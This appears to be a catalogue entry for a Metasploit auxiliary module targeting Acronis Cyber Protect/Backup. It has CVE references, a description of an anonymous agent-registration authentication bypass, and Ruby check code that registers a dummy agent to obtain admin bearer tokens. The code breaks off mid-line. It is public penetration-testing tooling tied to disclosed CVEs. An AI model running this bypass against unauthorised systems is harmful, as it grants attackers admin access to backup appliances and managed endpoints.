Metasploit Module: Acronis Cyber Protect/Backup machine info disclosure
Type: auxiliary
Path: modules/auxiliary/gather/acronis_cyber_protect_machine_info_disclosure.rb
References: CVE-2022-30995, CVE-2022-3405, URL-https://herolab.usd.de/security-advisories/usd-2022-0008/, URL-https://attackerkb.com/topics/27RudJXbN4/cve-2022-30995

Description:
Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,
          compute, storage and application resources. Businesses and Service Providers are using it
          to protect and backup all IT assets in their IT environment.
          This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect
          appliance which, in its default configuration, allows the anonymous registration of new
          backup/protection agents on new endpoints. This API endpoint also generates bearer tokens
          which the agent then uses to authenticate to the appliance.
          As the management web console is running on the same port as the API for the agents, this
          bearer token is also valid for any actions on the web console. This allows an attacker
          with network access to the appliance to start the registration of a new agent, retrieve
          a bearer token that provides admin access to the available functions in the web console.

          This module will gather all machine info (endpoints) configured and managed by the appliance.
          This information can be used in a subsequent attack that exploits this vulnerability to
          execute arbitrary commands on both the managed endpoint and the appliance.
          This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.

          Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and
          Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.

Check method (fingerprinting):
# initial check on api access
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'meta'),
      'ctype' => 'application/json'
    })
    return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method')

    # get first access token
    print_status('Retrieve the first access token.')
    @access_token1 = get_access_token1
    vprint_status("Extracted first access token: #{@access_token1}")
    return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil?

    # register a dummy agent
    client_id = SecureRandom.uuid
    print_status('Register a dummy backup agent.')
    client_secret = dummy_agent_registration(client_id, @access_token1)
    return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil?

    print_status('Dummy backup agent registration is successful.')

    # get second access_token
    print_status('Retrieve the second access token.')
    @access_token2 = get_access_token2(client_id, client_secret)
    vprint_status("Extracted second access token: #{@access_token2}")
    return Exploit::CheckCode::Unknown('Retrieval of the second  access token failed.') if @access_token2.nil?

    # get version info
    version = get_version_info(@access_token2)
    return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil?

    r